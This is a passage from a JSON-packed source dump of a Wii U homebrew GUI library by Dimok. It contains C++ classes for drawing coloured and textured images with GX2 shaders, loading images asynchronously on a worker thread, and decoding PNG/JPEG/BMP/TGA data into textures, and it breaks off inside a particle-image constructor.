GX2Color *c, u32 color_count, s32 type)\n{\n\tinternalInit(w, h);\n\timgType = type;\n\tcolorCount = ColorShader::cuColorVtxsSize / ColorShader::cuColorAttrSize;\n\tif(colorCount < color_count)\n        colorCount = color_count;\n\n\tcolorVtxs = (u8 *) memalign(GX2_VERTEX_BUFFER_ALIGNMENT, colorCount * ColorShader::cuColorAttrSize);\n\tif(colorVtxs)\n    {\n        for(u32 i = 0; i < colorCount; i++)\n        {\n            // take the last as reference if not enough colors defined\n            s32 idx = (i < color_count) ? i : (color_count - 1);\n            setImageColor(c[idx], i);\n        }\n    }\n}\n\n/**\n * Destructor for the GuiImage class.\n */\nGuiImage::~GuiImage()\n{\n    if(colorVtxs) {\n        free(colorVtxs);\n        colorVtxs = NULL;\n    }\n}\n\nvoid GuiImage::internalInit(s32 w, s32 h)\n{\n\timageData = NULL;\n\twidth = w;\n\theight = h;\n\ttileHorizontal = -1;\n\ttileVertical = -1;\n\timgType = IMAGE_TEXTURE;\n\tcolorVtxsDirty = false;\n\tcolorVtxs = NULL;\n\tcolorCount = 0;\n    posVtxs = NULL;\n    texCoords = NULL;\n    vtxCount = 4;\n    primitive = GX2_PRIMITIVE_QUADS;\n\n    imageAngle = 0.0f;\n    blurDirection = glm::vec3(0.0f);\n    positionOffsets = glm::vec3(0.0f);\n    scaleFactor = glm::vec3(1.0f);\n    colorIntensity = glm::vec4(1.0f);\n}\n\nvoid GuiImage::setImageData(GuiImageData * img)\n{\n\timageData = img;\n\twidth = 0;\n\theight = 0;\n\tif(img && img->getTexture())\n\t{\n\t\twidth = img->getWidth();\n\t\theight = img->getHeight();\n\t}\n\timgType = IMAGE_TEXTURE;\n}\n\nGX2Color GuiImage::getPixel(s32 x, s32 y)\n{\n\tif(!imageData || this->getWidth() <= 0 || x < 0 || y < 0 || x >= this->getWidth() || y >= this->getHeight())\n\t\treturn (GX2Color){0, 0, 0, 0};\n\n    u32 pitch = imageData->getTexture()->surface.pitch;\n    u32 *imagePtr = (u32*)imageData->getTexture()->surface.image_data;\n\n    u32 color_u32 = imagePtr[y * pitch + x];\n    GX2Color color;\n    color.r = (color_u32 >> 24) & 0xFF;\n    color.g = (color_u32 >> 16) & 0xFF;\n    color.b = (color_u32 >>  8) & 0xFF;\n    color.a = (color_u32 >>  0) & 0xFF;\n\treturn color;\n}\n\nvoid GuiImage::setPixel(s32 x, s32 y, const GX2Color & color)\n{\n\tif(!imageData || this->getWidth() <= 0 || x < 0 || y < 0 || x >= this->getWidth() || y >= this->getHeight())\n\t\treturn;\n\n\n    u32 pitch = imageData->getTexture()->surface.pitch;\n    u32 *imagePtr = (u32*)imageData->getTexture()->surface.image_data;\n    imagePtr[y * pitch + x] = (color.r << 24) | (color.g << 16)  | (color.b << 8)  | (color.a << 0);\n}\n\nvoid GuiImage::setImageColor(const GX2Color & c, s32 idx)\n{\n    if(!colorVtxs) {\n        return;\n    }\n\n    if(idx >= 0 && idx < (s32)colorCount)\n    {\n        colorVtxs[(idx << 2) + 0] = c.r;\n        colorVtxs[(idx << 2) + 1] = c.g;\n        colorVtxs[(idx << 2) + 2] = c.b;\n        colorVtxs[(idx << 2) + 3] = c.a;\n        colorVtxsDirty = true;\n    }\n    else if(colorVtxs)\n    {\n        for(u32 i = 0; i < (ColorShader::cuColorVtxsSize / sizeof(u8)); i += 4)\n        {\n            colorVtxs[i + 0] = c.r;\n            colorVtxs[i + 1] = c.g;\n            colorVtxs[i + 2] = c.b;\n            colorVtxs[i + 3] = c.a;\n        }\n        colorVtxsDirty = true;\n    }\n}\n\nvoid GuiImage::setSize(s32 w, s32 h)\n{\n\twidth = w;\n\theight = h;\n}\n\nvoid GuiImage::setPrimitiveVertex(s32 prim, const f32 *posVtx, const f32 *texCoord, u32 vtxcount)\n{\n    primitive = prim;\n    vtxCount = vtxcount;\n    posVtxs = posVtx;\n    texCoords = texCoord;\n\n    if(imgType == IMAGE_COLOR)\n    {\n        u8 * newColorVtxs = (u8 *) memalign(0x40, ColorShader::cuColorAttrSize * vtxCount);\n\n        for(u32 i = 0; i < vtxCount; i++)\n        {\n            s32 newColorIdx = (i << 2);\n            s32 colorIdx = (i < colorCount) ? (newColorIdx) : ((colorCount - 1) << 2);\n\n            newColorVtxs[newColorIdx + 0] = colorVtxs[colorIdx + 0];\n            newColorVtxs[newColorIdx + 1] = colorVtxs[colorIdx + 1];\n            newColorVtxs[newColorIdx + 2] = colorVtxs[colorIdx + 2];\n            newColorVtxs[newColorIdx + 3] = colorVtxs[colorIdx + 3];\n        }\n\n        free(colorVtxs);\n        colorVtxs = newColorVtxs;\n        colorCount = vtxCount;\n        colorVtxsDirty = true;\n    }\n}\n\nvoid GuiImage::draw(CVideo *pVideo)\n{\n\tif(!this->isVisible() || tileVertical == 0 || tileHorizontal == 0)\n\t\treturn;\n\n\tf32 currScaleX = getScaleX();\n\tf32 currScaleY = getScaleY();\n\n    positionOffsets[0] = getCenterX() * pVideo->getWidthScaleFactor() * 2.0f;\n    positionOffsets[1] = getCenterY() * pVideo->getHeightScaleFactor() * 2.0f;\n    positionOffsets[2] = getDepth() * pVideo->getDepthScaleFactor() * 2.0f;\n\n    scaleFactor[0] = currScaleX * getWidth() * pVideo->getWidthScaleFactor();\n    scaleFactor[1] = currScaleY * getHeight() * pVideo->getHeightScaleFactor();\n    scaleFactor[2] = getScaleZ();\n\n    //! add other colors intensities parameters\n    colorIntensity[3] = getAlpha();\n\n    //! angle of the object\n    imageAngle = DegToRad(getAngle());\n\n//\tif(image && tileHorizontal > 0 && tileVertical > 0)\n//\t{\n//\t\tfor(s32 n=0; n<tileVertical; n++)\n//\t\t\tfor(s32 i=0; i<tileHorizontal; i++)\n//\t\t\t{\n//\t\t\t\tif(bUnCut)\n//\t\t\t\t\tMenu_DrawImg(image, width, height, format, currLeft+width*i, currTop+width*n, currZ, imageangle, currScaleX, currScaleY, currAlpha);\n//\t\t\t\telse\n//\t\t\t\t\tMenu_DrawImgCut(image, width, height, format, currLeft+width*i, currTop+width*n, currZ, imageangle, currScaleX, currScaleY, currAlpha, cutBoundsRect.x1(), cutBoundsRect.x2(), cutBoundsRect.y1(), cutBoundsRect.y2());\n//\t\t\t}\n//\t}\n//\telse if(image && tileHorizontal > 0)\n//\t{\n//\t\tfor(s32 i=0; i<tileHorizontal; i++)\n//\t\t{\n//\t\t\ts32 widthTile = (imageangle == 90 || imageangle == 270) ? height : width;\n//\t\t\tif(bUnCut)\n//\t\t\t\tMenu_DrawImg(image, width, height, format, currLeft+widthTile*i, currTop, currZ, imageangle, currScaleX, currScaleY, currAlpha);\n//\t\t\telse\n//\t\t\t\tMenu_DrawImgCut(image, width, height, format, currLeft+widthTile*i, currTop, currZ, imageangle, currScaleX, currScaleY, currAlpha, cutBoundsRect.x1(), cutBoundsRect.x2(), cutBoundsRect.y1(), cutBoundsRect.y2());\n//\t\t}\n//\t}\n//\telse if(image && tileVertical > 0)\n//\t{\n//\t\tfor(s32 i=0; i<tileVertical; i++)\n//\t\t{\n//\t\t\tif(bUnCut)\n//\t\t\t\tMenu_DrawImg(image, width, height, format, currLeft, currTop+height*i, currZ, imageangle, currScaleX, currScaleY, currAlpha);\n//\t\t\telse\n//\t\t\t\tMenu_DrawImgCut(image, width, height, format, currLeft, currTop+height*i, currZ, imageangle, currScaleX, currScaleY, currAlpha, cutBoundsRect.x1(), cutBoundsRect.x2(), cutBoundsRect.y1(), cutBoundsRect.y2());\n//\t\t}\n//\t}\n    if(colorVtxsDirty && colorVtxs) {\n        //! flush color vertex only on main GX2 thread\n        GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, colorVtxs, colorCount * ColorShader::cuColorAttrSize);\n        colorVtxsDirty = false;\n    }\n\n\tif(imgType == IMAGE_COLOR && colorVtxs)\n\t{\n        ColorShader::instance()->setShaders();\n        ColorShader::instance()->setAttributeBuffer(colorVtxs, posVtxs, vtxCount);\n        ColorShader::instance()->setAngle(imageAngle);\n        ColorShader::instance()->setOffset(positionOffsets);\n        ColorShader::instance()->setScale(scaleFactor);\n        ColorShader::instance()->setColorIntensity(colorIntensity);\n        ColorShader::instance()->draw(primitive, vtxCount);\n\t}\n    else if(imageData)\n\t{\n        Texture2DShader::instance()->setShaders();\n        Texture2DShader::instance()->setAttributeBuffer(texCoords, posVtxs, vtxCount);\n        Texture2DShader::instance()->setAngle(imageAngle);\n        Texture2DShader::instance()->setOffset(positionOffsets);\n        Texture2DShader::instance()->setScale(scaleFactor);\n        Texture2DShader::instance()->setColorIntensity(colorIntensity);\n        Texture2DShader::instance()->setBlurring(blurDirection);\n        Texture2DShader::instance()->setTextureAndSampler(imageData->getTexture(), imageData->getSampler());\n        Texture2DShader::instance()->draw(primitive, vtxCount);\n\t}\n}\n"
  },
  {
    "path": "src/gui/GuiImage.h",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#ifndef GUI_IMAGE_H_\n#define GUI_IMAGE_H_\n\n#include \"video/shaders/Shader.h\"\n#include \"GuiElement.h\"\n#include \"GuiImageData.h\"\n\n//!Display, manage, and manipulate images in the GUI\nclass GuiImage : public GuiElement\n{\npublic:\n    enum ImageTypes\n    {\n        IMAGE_TEXTURE,\n        IMAGE_COLOR\n    };\n\n    //!\\overload\n    //!\\param img Pointer to GuiImageData element\n    GuiImage(GuiImageData * img);\n    //!\\overload\n    //!Creates an image filled with the specified color\n    //!\\param w Image width\n    //!\\param h Image height\n    //!\\param c Array with 4 x image color (BL, BR, TL, TR)\n    GuiImage(s32 w, s32 h, const GX2Color & c, s32 imgType = IMAGE_COLOR);\n    GuiImage(s32 w, s32 h, const GX2Color * c, u32 colorCount = 1, s32 imgType = IMAGE_COLOR);\n    //!Destructor\n    virtual ~GuiImage();\n    //!Sets the number of times to draw the image horizontally\n    //!\\param t Number of times to draw the image\n    void setTileHorizontal(s32 t) { tileHorizontal = t; }\n    //!Sets the number of times to draw the image vertically\n    //!\\param t Number of times to draw the image\n    void setTileVertical(s32 t) { tileVertical = t; }\n    //!Constantly called to draw the image\n    void draw(CVideo *pVideo);\n    //!Gets the image data\n    //!\\return pointer to image data\n    GuiImageData * getImageData() const { return imageData; }\n    //!Sets up a new image using the GuiImageData object specified\n    //!\\param img Pointer to GuiImageData object\n    void setImageData(GuiImageData * img);\n    //!Gets the pixel color at the specified coordinates of the image\n    //!\\param x X coordinate\n    //!\\param y Y coordinate\n    GX2Color getPixel(s32 x, s32 y);\n    //!Sets the pixel color at the specified coordinates of the image\n    //!\\param x X coordinate\n    //!\\param y Y coordinate\n    //!\\param color Pixel color\n    void setPixel(s32 x, s32 y, const GX2Color & color);\n    //!Change ImageColor\n    void setImageColor(const GX2Color & c, s32 idx = -1);\n    //!Change ImageColor\n    void setSize(s32 w, s32 h);\n\n    void setPrimitiveVertex(s32 prim, const f32 *pos, const f32 *tex, u32 count);\n\n    void setBlurDirection(u8 dir, f32 value)\n    {\n        if(dir < 2) {\n            blurDirection[dir] = value;\n        }\n    }\n    void setColorIntensity(const glm::vec4 & col)\n    {\n        colorIntensity = col;\n    }\nprotected:\n    void internalInit(s32 w, s32 h);\n\n    s32 imgType;                //!< Type of image data (IMAGE_TEXTURE, IMAGE_COLOR, IMAGE_DATA)\n    GuiImageData * imageData;   //!< Poiner to image data. May be shared with GuiImageData data\n    s32 tileHorizontal;         //!< Number of times to draw (tile) the image horizontally\n    s32 tileVertical;           //!< Number of times to draw (tile) the image vertically\n\n    //! Internally used variables for rendering\n    u8 *colorVtxs;\n    u32 colorCount;\n    bool colorVtxsDirty;\n    glm::vec3 positionOffsets;\n    glm::vec3 scaleFactor;\n    glm::vec4 colorIntensity;\n    f32 imageAngle;\n    glm::vec3 blurDirection;\n\n    const f32 * posVtxs;\n    const f32 * texCoords;\n    u32 vtxCount;\n    s32 primitive;\n};\n\n#endif\n"
  },
  {
    "path": "src/gui/GuiImageAsync.cpp",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#include <unistd.h>\n#include \"GuiImageAsync.h\"\n#include \"fs/fs_utils.h\"\n\nstd::vector<GuiImageAsync *> GuiImageAsync::imageQueue;\nCThread * GuiImageAsync::pThread = NULL;\nCMutex * GuiImageAsync::pMutex = NULL;\nu32 GuiImageAsync::threadRefCounter = 0;\nbool GuiImageAsync::bExitRequested = false;\nGuiImageAsync * GuiImageAsync::pInUse = NULL;\n\nGuiImageAsync::GuiImageAsync(const u8 *imageBuffer, const u32 & imageBufferSize, GuiImageData * preloadImg)\n    : GuiImage(preloadImg)\n\t, imgData(NULL)\n\t, imgBuffer(imageBuffer)\n\t, imgBufferSize(imageBufferSize)\n{\n\tthreadInit();\n\tthreadAddImage(this);\n}\n\nGuiImageAsync::GuiImageAsync(const std::string & file, GuiImageData * preloadImg)\n    : GuiImage(preloadImg)\n\t, imgData(NULL)\n\t, filename(file)\n\t, imgBuffer(NULL)\n\t, imgBufferSize(0)\n{\n\tthreadInit();\n\tthreadAddImage(this);\n}\n\nGuiImageAsync::~GuiImageAsync()\n{\n\tthreadRemoveImage(this);\n\twhile(pInUse == this)\n        os_usleep(1000);\n\n\tif (imgData)\n        delete imgData;\n\n    //threadExit();\n}\n\nvoid GuiImageAsync::threadAddImage(GuiImageAsync *Image)\n{\n    pMutex->lock();\n\timageQueue.push_back(Image);\n    pMutex->unlock();\n\tpThread->resumeThread();\n}\n\nvoid GuiImageAsync::threadRemoveImage(GuiImageAsync *image)\n{\n    pMutex->lock();\n\tfor(u32 i = 0; i < imageQueue.size(); ++i)\n\t{\n\t\tif(imageQueue[i] == image)\n\t\t{\n\t\t\timageQueue.erase(imageQueue.begin() + i);\n\t\t\tbreak;\n\t\t}\n\t}\n    pMutex->unlock();\n}\n\nvoid GuiImageAsync::clearQueue()\n{\n    pMutex->lock();\n\timageQueue.clear();\n    pMutex->unlock();\n}\n\nvoid GuiImageAsync::guiImageAsyncThread(CThread *thread, void *arg)\n{\n\twhile(!bExitRequested)\n\t{\n        if(imageQueue.empty() && !bExitRequested)\n            pThread->suspendThread();\n\n\t\tif(!imageQueue.empty() && !bExitRequested)\n\t\t{\n            pMutex->lock();\n\t\t\tpInUse = imageQueue.front();\n\t\t\timageQueue.erase(imageQueue.begin());\n            pMutex->unlock();\n\n\t\t\tif (!pInUse)\n\t\t\t\tcontinue;\n\n\n            if(pInUse->imgBuffer && pInUse->imgBufferSize)\n            {\n                pInUse->imgData = new GuiImageData(pInUse->imgBuffer, pInUse->imgBufferSize);\n            }\n            else\n            {\n                u8 *buffer = NULL;\n                u32 bufferSize = 0;\n\n                s32 iResult = LoadFileToMem(pInUse->filename.c_str(), &buffer, &bufferSize);\n                if(iResult > 0)\n                {\n                    pInUse->imgData = new GuiImageData(buffer, bufferSize, GX2_TEX_CLAMP_MIRROR);\n\n                    //! free original image buffer which is converted to texture now and not needed anymore\n                    free(buffer);\n                }\n            }\n\n            if(pInUse->imgData)\n            {\n                if(pInUse->imgData->getTexture())\n                {\n                    pInUse->width = pInUse->imgData->getWidth();\n                    pInUse->height = pInUse->imgData->getHeight();\n                    pInUse->imageData = pInUse->imgData;\n                }\n                else\n                {\n                    delete pInUse->imgData;\n                    pInUse->imgData = NULL;\n                }\n            }\n            pInUse->imageLoaded(pInUse);\n\t\t\tpInUse = NULL;\n\t\t}\n\t}\n}\n\nvoid GuiImageAsync::threadInit()\n{\n\tif (pThread == NULL)\n    {\n        bExitRequested = false;\n        pMutex = new CMutex();\n\t    pThread = CThread::create(GuiImageAsync::guiImageAsyncThread, NULL, CThread::eAttributeAffCore1 | CThread::eAttributePinnedAff, 10);\n\t\tpThread->resumeThread();\n    }\n\n    ++threadRefCounter;\n}\n\nvoid GuiImageAsync::threadExit()\n{\n    if(threadRefCounter){\n        --threadRefCounter;\n    }\n\n\tif(/*(threadRefCounter == 0) &&*/ (pThread != NULL))\n\t{\n\t    bExitRequested = true;\n        delete pThread;\n        delete pMutex;\n        pThread = NULL;\n        pMutex = NULL;\n\t}\n}\n"
  },
  {
    "path": "src/gui/GuiImageAsync.h",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#ifndef _GUIIMAGEASYNC_H_\n#define _GUIIMAGEASYNC_H_\n\n#include <vector>\n#include \"GuiImage.h\"\n#include \"system/CThread.h\"\n#include \"system/CMutex.h\"\n#include \"dynamic_libs/os_functions.h\"\n\nclass GuiImageAsync : public GuiImage\n{\n\tpublic:\n\t\tGuiImageAsync(const u8 *imageBuffer, const u32 & imageBufferSize, GuiImageData * preloadImg);\n\t\tGuiImageAsync(const std::string & filename, GuiImageData * preloadImg);\n\t\tvirtual ~GuiImageAsync();\n\n\t\tstatic void clearQueue();\n\t\tstatic void removeFromQueue(GuiImageAsync * image) {\n\t\t    threadRemoveImage(image);\n\t\t}\n\n        //! don't forget to LOCK GUI if using this asynchron call\n\t\tsigslot::signal1<GuiImageAsync *> imageLoaded;\n\t\tstatic void threadExit();\n\n\tprivate:\n\t\tstatic void threadInit();\n\n\t\tGuiImageData *imgData;\n\t    std::string filename;\n\t    const u8 *imgBuffer;\n\t    const u32 imgBufferSize;\n\n\t\tstatic void guiImageAsyncThread(CThread *thread, void *arg);\n\t\tstatic void threadAddImage(GuiImageAsync* Image);\n\t\tstatic void threadRemoveImage(GuiImageAsync* Image);\n\n\t\tstatic std::vector<GuiImageAsync *> imageQueue;\n\t\tstatic CThread *pThread;\n\t\tstatic CMutex * pMutex;\n\t\tstatic u32 threadRefCounter;\n\t\tstatic GuiImageAsync * pInUse;\n\t\tstatic bool bExitRequested;\n};\n\n#endif /*_GUIIMAGEASYNC_H_*/\n"
  },
  {
    "path": "src/gui/GuiImageData.cpp",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#include <malloc.h>\n#include <string.h>\n#include \"GuiImageData.h\"\n#include \"system/memory.h\"\n/**\n * Constructor for the GuiImageData class.\n */\nGuiImageData::GuiImageData()\n{\n    texture = NULL;\n    sampler = NULL;\n\tmemoryType = eMemTypeMEM2;\n}\n\n/**\n * Constructor for the GuiImageData class.\n */\nGuiImageData::GuiImageData(const u8 * img, s32 imgSize, s32 textureClamp, s32 textureFormat)\n{\n    texture = NULL;\n    sampler = NULL;\n\tloadImage(img, imgSize, textureClamp, textureFormat);\n}\n\n/**\n * Destructor for the GuiImageData class.\n */\nGuiImageData::~GuiImageData()\n{\n    releaseData();\n}\n\nvoid GuiImageData::releaseData(void)\n{\n    if(texture) {\n        if(texture->surface.image_data)\n        {\n            switch(memoryType)\n            {\n            default:\n            case eMemTypeMEM2:\n                free(texture->surface.image_data);\n                break;\n            case eMemTypeMEM1:\n                MEM1_free(texture->surface.image_data);\n                break;\n            case eMemTypeMEMBucket:\n                MEMBucket_free(texture->surface.image_data);\n                break;\n            }\n        }\n        delete texture;\n        texture = NULL;\n    }\n    if(sampler) {\n        delete sampler;\n        sampler = NULL;\n    }\n}\n\nvoid GuiImageData::loadImage(const u8 *img, s32 imgSize, s32 textureClamp, s32 textureFormat)\n{\n\tif(!img || (imgSize < 8))\n\t\treturn;\n\n\treleaseData();\n\tgdImagePtr gdImg = 0;\n\n\tif (img[0] == 0xFF && img[1] == 0xD8)\n\t{\n\t\t//! not needed for now therefore comment out to safe ELF size\n\t\t//! if needed uncomment, adds 200 kb to the ELF size\n\t\t// IMAGE_JPEG\n\t\tgdImg = gdImageCreateFromJpegPtr(imgSize, (u8*) img);\n\t}\n\telse if (img[0] == 'B' && img[1] == 'M')\n\t{\n\t\t// IMAGE_BMP\n\t\tgdImg = gdImageCreateFromBmpPtr(imgSize, (u8*) img);\n\t}\n\telse if (img[0] == 0x89 && img[1] == 'P' && img[2] == 'N' && img[3] == 'G')\n\t{\n\t\t// IMAGE_PNG\n\t\tgdImg = gdImageCreateFromPngPtr(imgSize, (u8*) img);\n\t}\n\t//!This must be last since it can also intefere with outher formats\n\telse if(img[0] == 0x00)\n\t{\n\t\t// Try loading TGA image\n\t\tgdImg = gdImageCreateFromTgaPtr(imgSize, (u8*) img);\n\t}\n\n\tif(gdImg == 0)\n\t\treturn;\n\n\tu32 width = (gdImageSX(gdImg));\n\tu32 height = (gdImageSY(gdImg));\n\n    //! Initialize texture\n    texture = new GX2Texture;\n    GX2InitTexture(texture, width,  height, 1, 0, textureFormat, GX2_SURFACE_DIM_2D, GX2_TILE_MODE_LINEAR_ALIGNED);\n\n    //! if this fails something went horribly wrong\n    if(texture->surface.image_size == 0) {\n        delete texture;\n        texture = NULL;\n        gdImageDestroy(gdImg);\n        return;\n    }\n\n    //! allocate memory for the surface\n\tmemoryType = eMemTypeMEM2;\n    texture->surface.image_data = memalign(texture->surface.align, texture->surface.image_size);\n    //! try MEM1 on failure\n    if(!texture->surface.image_data) {\n        memoryType = eMemTypeMEM1;\n        texture->surface.image_data = MEM1_alloc(texture->surface.image_size, texture->surface.align);\n    }\n    //! try MEM bucket on failure\n    if(!texture->surface.image_data) {\n        memoryType = eMemTypeMEMBucket;\n        texture->surface.image_data = MEMBucket_alloc(texture->surface.image_size, texture->surface.align);\n    }\n    //! check if memory is available for image\n    if(!texture->surface.image_data) {\n        gdImageDestroy(gdImg);\n        delete texture;\n        texture = NULL;\n        return;\n    }\n    //! set mip map data pointer\n    texture->surface.mip_data = NULL;\n    //! convert image to texture\n    switch(textureFormat)\n    {\n    default:\n    case GX2_SURFACE_FORMAT_TCS_R8_G8_B8_A8_UNORM:\n        gdImageToUnormR8G8B8A8(gdImg, (u32*)texture->surface.image_data, texture->surface.width, texture->surface.height, texture->surface.pitch);\n        break;\n    case GX2_SURFACE_FORMAT_TCS_R5_G6_B5_UNORM:\n        gdImageToUnormR5G6B5(gdImg, (u16*)texture->surface.image_data, texture->surface.width, texture->surface.height, texture->surface.pitch);\n        break;\n    }\n\n\t//! free memory of image as its not needed anymore\n\tgdImageDestroy(gdImg);\n\n\t//! invalidate the memory\n    GX2Invalidate(GX2_INVALIDATE_CPU_TEXTURE, texture->surface.image_data, texture->surface.image_size);\n    //! initialize the sampler\n    sampler = new GX2Sampler;\n    GX2InitSampler(sampler, textureClamp, GX2_TEX_XY_FILTER_BILINEAR);\n}\n\nvoid GuiImageData::gdImageToUnormR8G8B8A8(gdImagePtr gdImg, u32 *imgBuffer, u32 width, u32 height, u32 pitch)\n{\n    for(u32 y = 0; y < height; ++y)\n    {\n        for(u32 x = 0; x < width; ++x)\n        {\n\t\t\tu32 pixel = gdImageGetPixel(gdImg, x, y);\n\n\t\t\tu8 a = 254 - 2*((u8)gdImageAlpha(gdImg, pixel));\n\t\t\tif(a == 254) a++;\n\n            u8 r = gdImageRed(gdImg, pixel);\n            u8 g = gdImageGreen(gdImg, pixel);\n            u8 b = gdImageBlue(gdImg, pixel);\n\n            imgBuffer[y * pitch + x] = (r << 24) | (g << 16) | (b << 8) | (a);\n        }\n    }\n}\n\n//! TODO: figure out why this seems to not work correct yet\nvoid GuiImageData::gdImageToUnormR5G6B5(gdImagePtr gdImg, u16 *imgBuffer, u32 width, u32 height, u32 pitch)\n{\n    for(u32 y = 0; y < height; ++y)\n    {\n        for(u32 x = 0; x < width; ++x)\n        {\n\t\t\tu32 pixel = gdImageGetPixel(gdImg, x, y);\n\n            u8 r = gdImageRed(gdImg, pixel);\n            u8 g = gdImageGreen(gdImg, pixel);\n            u8 b = gdImageBlue(gdImg, pixel);\n\n            imgBuffer[y * pitch + x] = ((r >> 3) << 11) | ((g >> 2) << 5) | (b >> 3);\n        }\n    }\n}\n"
  },
  {
    "path": "src/gui/GuiImageData.h",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#ifndef GUI_IMAGEDATA_H_\n#define GUI_IMAGEDATA_H_\n\n#include <gctypes.h>\n#include <gd.h>\n#include \"dynamic_libs/gx2_functions.h\"\n#include \"system/AsyncDeleter.h\"\n\nclass GuiImageData : public AsyncDeleter::Element\n{\npublic:\n    //!Constructor\n    GuiImageData();\n    //!\\param img Image data\n    //!\\param imgSize The image size\n    GuiImageData(const u8 * img, s32 imgSize, s32 textureClamp = GX2_TEX_CLAMP_CLAMP, s32 textureFormat = GX2_SURFACE_FORMAT_TCS_R8_G8_B8_A8_UNORM);\n    //!Destructor\n    virtual ~GuiImageData();\n    //!Load image from buffer\n    //!\\param img Image data\n    //!\\param imgSize The image size\n    void loadImage(const u8 * img, s32 imgSize, s32 textureClamp = GX2_TEX_CLAMP_CLAMP, s32 textureFormat = GX2_SURFACE_FORMAT_TCS_R8_G8_B8_A8_UNORM);\n    //! getter functions\n    const GX2Texture * getTexture() const { return texture; };\n    const GX2Sampler * getSampler() const { return sampler; };\n    //!Gets the image width\n    //!\\return image width\n    s32 getWidth() const { if(texture) return texture->surface.width; else return 0; };\n    //!Gets the image height\n    //!\\return image height\n    s32 getHeight() const { if(texture) return texture->surface.height; else return 0; };\n    //! release memory of the image data\n    void releaseData(void);\nprivate:\n    void gdImageToUnormR8G8B8A8(gdImagePtr gdImg, u32 *imgBuffer, u32 width, u32 height, u32 pitch);\n    void gdImageToUnormR5G6B5(gdImagePtr gdImg, u16 *imgBuffer, u32 width, u32 height, u32 pitch);\n\n    GX2Texture *texture;\n    GX2Sampler *sampler;\n\n    enum eMemoryTypes\n    {\n        eMemTypeMEM2,\n        eMemTypeMEM1,\n        eMemTypeMEMBucket\n    };\n\n    u8 memoryType;\n};\n\n#endif\n"
  },
  {
    "path": "src/gui/GuiParticleImage.cpp",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#include \"GuiParticleImage.h\"\n#include \"video/CVideo.h\"\n#include \"video/shaders/ColorShader.h\"\n\n#define CIRCLE_VERTEX_COUNT     36\n\nstatic inline f32 getRandZeroToOneF32()\n{\n    return (rand() % 10000) * 0.0001f;\n}\n\nstatic inline f32 getRandMinusOneToOneF32()\n{\n    return getRandZeroToOneF32() * 2.0f - 1.0f;\n}\n\nGuiParticleImage::GuiParticleImage(s32 w, s32 h, u32 particleCount)\n    : GuiImage(NULL)\n{\n    width = w;\n    height = h;\n\timgType = IMAGE_COLOR;\n\n    posVertexs = (f32 *) memalign(GX2_VERTEX_BUFFER_ALIGNMENT, ColorShader::cuVertexAttrSize * CIRCLE_VERTEX_COUNT);\n    colorVertexs = (u8 *) memalign(GX2_VERTEX_BUFFER_ALIGNMENT, ColorShader::cuColorAttrSize * CIRCLE_VERTEX_COUNT);\n\n    for(u32 i = 0; i < CIRCLE_VERTEX_COUNT; i++)\n    {\n        posVertexs[i * 3 + 0] = cosf(DegToRad(i * 360.0f / CIRCLE_VERTEX_COUNT));\n        posVertexs[i * 3 + 1] = sinf(DegToRad(i * 360.0f / CIRCLE_VERTEX_COUNT));\n        posVertexs[i * 3 + 2] = 0.0f;\n\n        colorVertexs[i * 4 + 0] = 0xff;\n        colorVertexs[i * 4 + 1] = 0xff;\n        